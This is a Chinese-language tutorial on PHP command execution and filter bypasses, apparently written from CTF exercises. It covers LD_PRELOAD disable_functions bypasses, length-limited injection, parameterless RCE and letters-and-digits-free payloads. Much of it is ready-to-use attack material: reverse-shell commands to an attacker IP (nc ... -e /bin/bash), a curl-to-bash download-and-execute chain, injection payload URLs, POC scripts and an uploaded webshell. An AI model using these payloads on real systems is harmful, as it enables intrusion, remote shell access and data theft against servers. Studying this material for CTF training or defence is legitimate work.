PHP命令执行从0到1
命令执行函数介绍
常见函数:
常见的命令执行函数有:system
,exec
,passthru
,shell_exec
,反引号
,popen
,proc_open
,pcntl_exec
,我们需要关注它们怎么运行,运行的条件,参数以及能否回显。
system
system(string $command,int &$return_var = ?)
command
:执行command参数所指定的命令,并且输出执行结果,如果提供return_var
参数,则此外部命令执行后的返回状态将会被设置到此变量中。
1 | <?php |
url传入?cmd=ls
即可执行system()
得到回显结果
exec
exec(string $command,array &$output = ?,int &$return_var = ?)
command
参数:要执行的命令。单独使用时只有最后一行结果,且不会回显output
参数:用命令执行的输出填充此数组,每行输出填充数组中的一个元素。即逐行填充数组。
需要借用print_r
输出结果。
1 | <?php |
得到结果:
1 | Array |
示例:
1 | <?php |
passthru
passthru(string $command,int &$return_var = ?)
command
参数:要执行的命令。
输出二进制数据,并且需要直接传送到浏览器。和system
差不多
示例:
1 | <?php |
shell_exec
shell_exec(string $cmd)
cmd
参数:要执行的命令。
环境执行命令,并且将完整的输出以字符串的方式返回。(无回显)功能等同于反引号
借用echo
、print
等输出结果
示例:
1 | <?php |
反引号
效果等同于shell_exec
1 | <?php |
popen
popen(string $command,string $mode)
command
参数:要执行的命令。mode
参数:模式。'r'
表示阅读,'w'
表示写入。fgets
获取内容->print_r
输出内容
示例:
1 | <?php |
proc_open
proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)
command
参数:要执行的命令。descriptor_spec
参数:定义数组内容。pipes
参数:调用数组内容
示例:
1 | <?php |
pcntl_exec
pcntl_exec(string $path,array $args = ?,array $envs = ?)
path
必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。args
是一个要传递给程序的参数的字符串数组。envs
是一个要传递给程序作为环境变量的字符串数组。这个数组是key => value格式的,key
代表要传递的环境变量的名称, value
代表该环境变量值。
在当前进程空间执行指定程序。
替换绕过函数过滤
例题:
1 | <?php |
LD_PRELOAD绕过原理介绍
LD_PRELOAD
使用场景:disable_functions
禁用所有可能用到的命令执行的函数
程序的链接
**静态链接:**在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
**装入时动态链接:**源程序编译后所得到的一组目标模块,在装内存时,边装入边链接。
**运行时动态链接:**原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。
动态链接:假如程序动态加载的函数是恶意的,就有可能导致disable_function
被绕过。
LD_PRELOAD
修改库文件
它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。
这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
使用自己的或是更好的函数(无需别人的源码)也可以向别人的程序注入恶意程序
mail:内嵌在PHP里,imagick:需要扩展安装
1 | #vim demo.php |
里面有一个geteuid
,执行#vim demo.c
1 | #include <stdio.h> |
执行#gcc -shared -fPIC demo.c -o demo.so
将带有命令的c文件编译成.so文件,生成动态链接库文件
重新编辑demo.php
1 | <?php |
#php demo.php
输出小可爱,你邮件还能发出去么?
- 绕过条件:能够上传自己的.so文件;
- 能够控制环境变量的值(设置LD_PRELOAD变量),比如
putenv
函数并且未被禁止; - 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载
LD_PRELOAD
中的.so文件),比如mail()
、imap_mail()
、mb_send_mail()
和error_log()
等。
mail()函数命令执行例题
例题源代码:
1 | ini_set('open_basedir','/www/admin/localhost_81/wwwroot/class02'.$dir); //控制路径 |
info信息disable_functions
禁用所有可能用到的命令执行的函数
mail函数可用
蚁剑测试连接成功
蚁剑连接可以上传下载文件,但是不能执行命令
构造payload:
mail函数—–>调用子程序”/usr/sbin/sendmail”—–>调用动态链接库geteuid函数
我们给geteuid重新赋值
1 | #include <stdio.h> |
使用#gcc -shared -fPIC demo.c -o demo.so
将带有命令的c文件编译成.so文件,生成动态链接库文件
demo.php
1 | <?php |
使用蚁剑上传demo.c和demo.php,然后访问demo.php,就可以看见tmp目录下多出来一个flag文件
但是这种方法执行一条命令就需要上传两个文件十分的麻烦,所以我们干脆将demo.c要执行的命令改为反弹shell的命令,如:nc 192.168.1.161 7777 -e /bin/bash
,然后我们只需在kali中nc -lvp 7777
监听7777端口,等待命令执行后即成功反弹shell,若这种方法无法成功,
可以执行的命令复制到环境变量EVIL_CMDLINE直接读取命令
demo.c:
1 | #include <stdio.h> |
demo.php:
1 | <?php |
要执行的系统命令cmd
output
命令执行结果输出到指定路径下的文件2>&1
将标准错误重定向到标准输出
打印显示实际在linux上执行的命令
将执行的命令,配置成系统环境变量EVIL_CMDLINE
$sopath
指定恶意动态链接库
上传后访问demo.php?cmd=ls&output=/tmp/lhq&sopath=./demo.so
蚁剑及pcntl绕过函数过滤
使用蚁剑的插件绕过disable_functions
,此插件在蚁剑的插件市场中下载,蚁剑加载不出来插件库,这里可以手动导入或者进行代理科学上网,因为仓库在国外,不科学上网拉不下来插件。
非常的方便!
pcntl_exec函数
需单独加载组件pcntl_exec(string $path,array $args = ?,array $envs = ?)
参数path:必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl
的perl脚本。
参数args:是一个要传递给程序的参数的字符串数组。
参数envs:是一个要传递给程序作为环境变量的字符串数组。
例如:
1 | #ls |
info信息:没有禁用pcntl_exec函数
但是pcntl_exec函数没有回显
解决方法一:cat文件并输出到有权限读取路径;
解决方法二:shell反弹
例题源代码:
1 | ini_set('open_basedir','/www/admin/localhost_81/wwwroot/class02'.$dir); //控制路径 |
POST提交:cmd=pcntl_exec("/bin/bash",array("-c","nc 192.168.1.201 7777 -e /bin/bash"));
参数path
: “/bin/bash” 参数args
: 以数组的形式包裹起来
-c 执行二进制文件 nc反弹tcp连接到kali,kali监听端口 -e /bin/bash 返回命令行交互界面
操作系统链接符
例题代码:
1 | <?php |
;
:使多个命令按顺序执行 如:id;ls;pwd
提交?cmd=;cat flag.php
&
:使命令在后台运行,这样就可以同时执行多条命令
提交?cmd=&cat flag.php
,但是必须进行url编码,所以应该提交?cmd=%26cat flag.php
&&
:如果前面的命令执行成功,则执行后面的命令
提交?cmd=1%26%26idid
第一条命令无法执行成功,则后面的命令也无法执行|
:将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数;前面的命令和后面的命令都会执行,但只显示后面的命令执行结果。
如:echo "ls -l"| /bin/bash
||
:类似于程序中的if-else语句。若前面的命令执行成功,则后面的命令就不会执行;若前面的命令执行失败,则执行后面的命令。
例如:
1 | <?php |
提交?cmd=cat flag||
即可
空格过滤绕过
1 | <?php |
- 大括号{cat,flag.php}
- $IFS代替空格:$IFS、${IFS}、$IFS$9,cat$IFSflag.php
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。
单纯$IFS2
,$IFS2
被bash解释器当错变量名,输出不了结果,加一个{}就固定了变量名。$IFS$9
后面加个$
与{}类似,起截断作用,$9
是当前系统shell进程第九个参数持有者,始终为空字符串。 - 重定向字符<,<>,cat<flag.php
“<”表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。 - %09(Tab),%20(space),cat%09flag.php
文件名过滤绕过
1 | <?php |
flag|system|php被过滤
- 通配符
?
,*
绕过
通配符是一种特殊语句,主要有问号(?)和星号(*),用来模糊搜索文件。?
在linux里面可以进行代替字母。?
仅代表单个字符串,但此单字必须存在。1
cat fl?g.ph?
*
在linux里面可以进行模糊匹配。*
可以代表任何字符串。1
cat f*
- 单引号、双引号绕过
''、""
空字符1
?cmd=passthru('cat fl""ag.ph""p');
- 反斜线\绕过
把特殊字符去掉功能性,单纯表示为字符串。1
cat fl\ag.p\hp
- 特殊变量:
$1
到$9
、$@
和$*
等
输出为空1
cat fl$1ag.p$9hp
- 内联执行
自定义字符串,再拼接起来1
2a=f;d=ag;c=l;cat $a$c$d.txt
//表示cat flag.txt - 利用linux中的环境变量
使用环境变量里的字符执行变量echo $PATH
1
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
echo f${PATH:5:1}
使用环境变量PATH里的第5个字符,(从0开始计数,”l”为第五个字符),显示1个字符; 得到fl
使用环境变量PATH里的第8个字符,(从0开始计数,”a”为第五个字符),显示1个字符; 得到fla
echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
,得到flag.php
常见文件读取命令绕过
1 | <?php |
绕过方法:
一、tac:反向显示
与cat功能类似,但是反向显示,从最后一行往前开始显示。
二、more:一页一页的显示档案内容;
三、less:与more类似;
四、tail:查看末尾几行;默认显示最后10行
五、nl:显示的时候,顺便输出行号
六、od:以二进制的方式读取档案内容;使用时使用od -A d -c
七、xxd:读取二进制文件;
八、sort:主要用于排序文件;
这里被过滤了,使用passthru("/usr/bin/so?t fla\g.ph\p");
九、uniq:报告或删除文件中重复的行;
十、file -f:报错出具体内容;
十一、grep:在文本中查找指定的字符串;?cmd=passthru("grep fla fla*")
,从fla*文本文件中搜索包含”fla”字符串的行
编码绕过
1 | <?php |
绕过原理:
一、base64编码
1 | import base64 |
cat flag -> Y2F0IGZsYWcucGhw
echo Y2F0IGZsYWcucGhw | base64 -d
,|
把前面指令执行的结果,变成后面指令的参数,解码读取命令echo Y2F0IGZsYWcucGhw | base64 -d | /bin/bash
把cat flag放进bash里执行命令
或者
1 | `echo Y2F0IGZsYWcucGhw | base64 -d ` |
二、base32编码
一样的原理
三、HEX编码
1 | import binascii |
得到74616320666c61672e706870
所以echo Y2F0IGZsYWcucGhw | xxd -r -p | bash
xxd
:二进制显示和处理文件工具,-r -p
将纯16进制转储的反向输出打印为了ASCII格式。
四、shellcode编码
16进制的机器码,printf "\x74\x61\x63\x20\x66\x6clx61\x67\x2e\x70\x68\x70"|bash
或 echo "\x74\x61\x63\x20\x66\x6clx61\x67\x2e\x70\x68\x70"|bash
无回显时间盲注
页面无法shell反弹或者无法回显忙或者没有写入权限,可尝试命令盲注。根据返回的时间来进行判断;
读取文件指定行的指定位置的字符;
相关命令:
一、sleep
1 | sleep 5 |
5秒之后返回结果
二、awk NR
1 | cat flag.php |awk NR==1 |
读取flag.php的第一行,awk逐行获取数据
三、cut -c
1 | cat flag.php | awk NR==1 | cut -c 1 |
cut命令逐列获取单个字符,这里读取flag.php的第一行的第一个字符
四、if语句
判断命令是否执行
1 | if [ $(cat flag | awk NR==2 | cut -c 1)==F ];then sleep 2;fi |
if[]里的判断语句为真,则执行sleep 2,休眠2秒后返回结果
使用方法:ls/查看根目录来获取flag文件名
1 | import requests |
得知文件名后更改脚本即可
长度过滤绕过前置知识
相关命令
- 通过>来创建文件创建文件a,并把字符串’lhq’写入到文件a里;
1
echo lhq > a
通过>来将命令执行结果写入文件会覆盖掉文件原本的内容; - 通过>>追加内容
在原本文件内容后面追加’love ljh’
单独使用>,如>b,则是直接创建文件b,类似touch b
命令换行
在没有写完的命令后面加\
,可以将一条命令写在多行:
ls -t命令
ls命令按字母顺序显示文件名
ls -t按时间顺序显示文件名(后创建的排在前面),只能精确到秒
组合运用1
2
3
4>ag
>l\\
>f\\
>cat\ \\
创建好文件,按时间顺序显示,并把执行结果写入文件x里;1
ls -t >x
执行文件x
或者使用sh x
,也可成功命令执行,则在对命令长度有限制时,把一些很短的文件名拼接成可执行命令dir及星号和rev1
2
3
4>创建很短的文件名
ls -t按时间顺序列出文件名,按行储存
\连接换行命令
sh从文件中读取命令dir
:基本上和ls一样,但有两个好处:
一是开头字母是d,这使得它在alphabetical序中靠前;
二是按列输出,不换行。*
:相当于$(dir *)
如果第一个文件名是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入
rev:可以反转文件每一行的内容
长度限制为7绕过方法解析
1 | <?php |
GET提交cmd,限制长度<=7,并且不能写入*
和?
期望执行的命令:cat flag | nc 192.168.1.240 7777
kali的IP地址192.168.1.240
,监听端口7777:nc -lvp 7777
cat flag展示内容,再通过nc反弹,提交到192.168.1.240:7777
步骤一:创建文件
1 | ?cmd=>7777 |
步骤二:将文件名按顺序写入到文件
1 | ls -t>a |
步骤三:执行脚本
1 | ?cmd=sh a |
python脚本:
1 | #encoding:utf-8 |
长度限制为5绕过方法
1 | <?php |
那么就出现了新的问题ls -t>a
字符串长度为7,超过限制5>\ \\
构造空格的字符串长度最少为5,超过一个空格便无法构造,长度限制为7时的命令和步骤不再适用
解决方法
更换期望执行的命令:curl 192.168.1.240|bash
在kali中开启web服务(80端口),默认页面index.htmlpython -m http.server 80
写入命令nc 192.168.1.240 7777 -e /bin/bash
,并且在命令行nc -lvp 7777
监听端口
目标靶机执行curl 192.168.1.240
,访问到curl 192.168.1.240
并下载默认页面index.html|bash
把下载的index.html交给bash执行,即执行nc 192.168.1.240 7777 -e /bin/bash
步骤一:构造ls -t>y
ls默认排序无法正常排出'ls\' ' \' '-t\' '>y'
,'ls\'
默认排在最后
可以先创建文件ls\
,使用>ls\\
,再创建文件_
,并把ls\
写入文件_
,使用ls>_
,再写入其他文件
并将新的ls的文件名使用>>
追加进_
,从而在_
中包含ls -t>y
,使用sh _
即可执行ls -t>y
步骤二:分解命令,创造文件
1 | #>bash |
执行sh _
,即可执行ls -t>y,创建文件y并把文件名按时间排序
步骤三:执行脚本sh y
python代码:
1 | #encoding:utf-8 |
长度限制为4绕过方法
1 | <?php |
新的问题:ls>>_
追加命令长度最少为5,超过4个,不再适用
解决方法
步骤一:构造ls -t>g
1 | >g\> |
按字母排序,但是顺序不满足,可以在-t后面加h,不影响命令执行,但是可以改变排序
1 | *>v |
但是又有一个问题rev x
长度为5,该怎么办呢,于是我们创建一个rev文件,并且使用通配符*v>x
,来将rev v
的内容写入x
1 | >rev |
此处*
为通配符,前能匹配rev,后可执行v;
为了防止”g”后面有其他文件名造成影响,可以在前面多创建一个文件”g;“,用”;”阻断后面字符的影响。
步骤二:构造一个反弹shell
1 | curl 192.168.1.240|bash |
构造:
1 | ?cmd=>ash |
步骤三:反弹回来的shell查看flag
python脚本:
1 | #encoding:utf-8 |
无参数命令执行请求头绕过(php7.3)
1 | <?php |
解析:preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
只要在’code’里匹配到[^\W]+\((?R)?\)
,则替换为空[^\W]+\((?R)?\)
正则表达式[^\W]
匹配字母数字下划线[A-Za-z0-9][^\W]+\(?\)
匹配到”a()”形式的字符串,但是()内不能出现任何参数(?R)
代表递归,即a(b(c()))都能匹配到[^\W]+\((?R)?\)
能匹配到a(),a(b(c()))……格式的字符串,且()内不能有任何参数
只有a(),a(b(c()))……格式的字符串,能被替换为空
HTTP请求标头getallheaders()
获取所有HTTP请求标头
发送GET请求时所有HTTP请求标头header以Array数组列表方式展现出来
pos()显示第一项数据,end()显示最后一项数据,但是getallheaders()
是倒着显示数据的
那么构造请求?code=eval(pos(getallheaders()));
,并将请求数据包中的最后一行的内容改为我们想要执行的命令system('ls');
即可apache_request_headers()
功能与getallheaders()
相似,适用于Apache服务器
也可以利用system(‘nc 192.168.1.240 -e /bin/bash’);进行shell反弹
无参数全局变量RCE(php5/7)
1 | <?php |
php5版get_defined_vars()
返回所有已定义变量的值,所组成的数组?code=print_r(get_defined_vars());
返回数组顺序为GET ->POST->COOKIE->FILES?code=print_r(pos(get_defined_vars()));&cmd=system('ls');
使用&加入想要获取的指令
然后再使用end获取GET的最后一项cmd的值system(‘ls’);
构造?code=eval(end(pos(get_defined_vars())));&cmd=system('cat flag');
即可
POC:
1 | import requests |
无参数session RCE(php5)
session_start()
启动新会话或者重用现有会话,成功开始会话返回TRUE,反之返回FALSE?code=print_r(session_id(session_start()));
返回PHPSESSID的值,可以用BP修改PHPSESSID的值print_r
修改为show_source()
,用bp修改PHPSESSID的值为./flag,用show_source()
读取flag文件源代码。
或者修改外部函数为eval(),修改PHPSESSID的值为命令’phpinfo();’,但无法直接执行,需先把命令’phpinfo();’HEX编码为16进制,写入PHPSESSIDCookie: PHPSESSID=706870696e666f28293b
再用hex2bin()
函数将16进制转换为二进制数,用eval执行?code=eval(hex2bin(session_id(session_start())));
无参数scandir读取
scandir
类似ls,在某文件路径下,把内容以列表形式显示出来
1 | I. scandir()——列出指定路径中的文件和目录(PHP 5, PHP7,PHP 8) |
当前目录
查看当前目录:?code=print_r(localeconv());
localeconv()显示的数组第一项为”.”
使用current()取得第一个点,再使用scandir()获取文件名?code=print_r(scandir(current(localeconv())));
使用array_reverse()
,再用current()取得第一个flag的内容,再将print_r
改为show_source
得到?code=show_source(current(array_reverse(scandir(current(localeconv())))));
,从而获取到flag
getcwd
查看和读取当前目录文件,?code=print_r(getcwd());
getcwd()
获取当前绝对路径?code=print_r(scandir(getcwd()));
,?code=print_r(end(scandir(getcwd())));
,?code=show_source(end(scandir(getcwd())));
dirname()
获取上一级目录,?code=print_r(dirname(getcwd()));
相当于cd ..
?code=print_r(chdir(dirname(getcwd())));
,这里必须使用一个chdir(),相当于将工作目录更改到上一级目录去,从而才能调用上一级目录的文件,否则工作目录一直在1.php这个目录,是无法访问到上一级目录的文件的
构造?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));
即可构造
1 | ?code=show_source(end(scandir(dirname(chdir(dirname(getcwd())))))); |
读取成功info.php的内容
或者使用array_flip
将键和值对调,然后用array_rand
随机获取键名
即构造
1 | ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
另外两种类似的方法:
1 | ?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd()))))))))))); |
根目录
1 | ?code=print_r(array()); |
由于随机性太强,使用bp爆破重复发包即可
无字母数字异或运算绕过
1 | <?php |
异或运算
如果a,b两个值不相同,则异或结果为1。如果a,b两个值相同,异或结果为0。
两个字符进行异或实际上是他们的ASCII码二进制进行异或运算,则我们可以使用符号进行异或运算,获取想要得到的值
例如:
1 | <?php |
可以成功触发函数
异或运算生成脚本:
1 | <?php |
通过cmd提交想要执行的命令即可
“+(+).&/“^”[@[@@@@”=phpinfo?cmd=$_="+(+).&/"^"[@[@@@@";$_();
则eval($_="+(+).&/"^"[@[@@@@";$_();)
$_=phpinfo
;则$_();=phpinfo();
eval成功执行phpinfo();
但是由于+会被url识别为空格,所以提交时进行一下url编码再提交
** PHP5**
1 | assert($_POST['_']); |
我们可以构造
1 | <?php |
现在来考虑过滤的问题
1 | 由于字母被过滤,所以把abc分别替换为_,__,___, |
得到
1 | <?php |
所以提交
1 | ?cmd=$_ = "!((%)("^"@[[@[\\";$__ = "!+/(("^"~{`{|";$___ = $$__;$_($___['_']); |
并且同时POST提交_=system('ls');
PHP7
1 | `$_POST[_]`; |
于是构造:
1 | <?php |
现在来替换
1 | _POST替换为"!+/(("^"~{`{|" |
所以payload:
1 | ?cmd=$_ = "!+/(("^"~{`{|";$__ = $$_;`$__[_]`; |
由于反引号命令执行没有回显,所以POST提交使用反弹shell的命令
无字母数字取反绕过
1 | <?php |
取反运算~()
,0b0110取反得到0b1001,例如a
的二进制为01100001取反得到10011110,转化为ASCII码为9E,而字母数字的ASCII码的16进制最大为7F
1 | <?php |
运行得到字符a
取反POC生成脚本:
1 | <?php |
通过在URL内使用GET方法提交?cmd=”具体命令”即可。
1 | assert |
于是可以利用中文字符串写
1 | <?php |
也可以URL编码写:
1 | <?php |
payload
1 | ?cmd=$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%a0%af%b0%ac%ab");$___=$$__;$_($___[_]); |
不需要再URL编码
也可以构造
1 | `$_POST[_]`; |
所以构造
1 | <?php |
payload
1 | ?cmd=$__ = ~("%a0%af%b0%ac%ab");$___ = $$__;`$___[_]`; |
同样由于反引号命令执行没有回显,所以POST提交使用反弹shell的命令
无字母数字自增绕过
1 | <?php |
自增
1 | ++ |
自增自减
1 | <?php |
数字被过滤,所以使用一个不存在的变量代替,因为变量不存在,所以为假值0,echo $_[$__];
PHP5
构造:assert($_POST['_']);
1 | <?php |
自增POC生成脚本
1 | <?php |
得到生成的payload为
1 | <?php |
到那时还需要一个POST,那么输入?cmd=assert&post=POST
,用得到的结果构造
1 | <?php |
构造payload时记得url编码,并同时POST提交_='提交命令'
php7
php7只需获取一个POST即可,
1 | <?php |
同样由于反引号没有回显,使用反弹shell即可
无字母数字特殊符号过滤
1 | <?php |
多过滤了$
和_
PHP7
短标签:
1 | <?php |
用GET方式提交
1 | ?><?= `{${~"%a0%b8%ba%ab"}[%a0]}`?> |
构造payload
1 | ?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ls |
但是_
和$
都被过滤了,显然还不能成功,在PHP7中我们可以使用($a)()一样调用函数
例如:call_user_func()
就等同于(call_user_func)()
,所以我们利用取反运算可以得到(call_user_func)(system,whoami,'');
等同于(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
PHP5
文件读取:
PHP中POST上传文件会把我们上传的文件暂时存在/tmp目录下,
默认文件名是phpXXXXXX,文件名最后6个字符是随机的大小写字母。
使用通配符?
:./???/?????????
可以匹配到./tmp/phpXXXXXX
,不过能匹配到的东西太多,通常会报错
所以将最后一个?
改为[@-[]
,[@-[]
表示ASCII在@
和[
之间的字符,也就是大写字母,保障最后一位是大写字母
步骤一:先构造一个文件上传的POST数据包;
步骤二:PHP页面生成临时文件phpXXXXXX,存储在/tmp目录下;
步骤三:执行指令./???/????????[@-[]
,读取文件,执行其中指令;
步骤四:在上传的文件中写入一句话木马,把木马生成位置指定一个绝对路径,直接执行。
此为上传的数据包
1 | POST /php_cmd/php80/class11/3.php?cmd=?%3E%3C?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?%3E HTTP/1.1 |
创建成功后使用蚁剑连接即可
使用一句话木马需要知道绝对路径,可以使用反弹shell
1 | 无字母数字过滤;~^`&| |
~
,^
都被过滤,可以使用自增法构造,;
被过滤,可以使用短标签法代替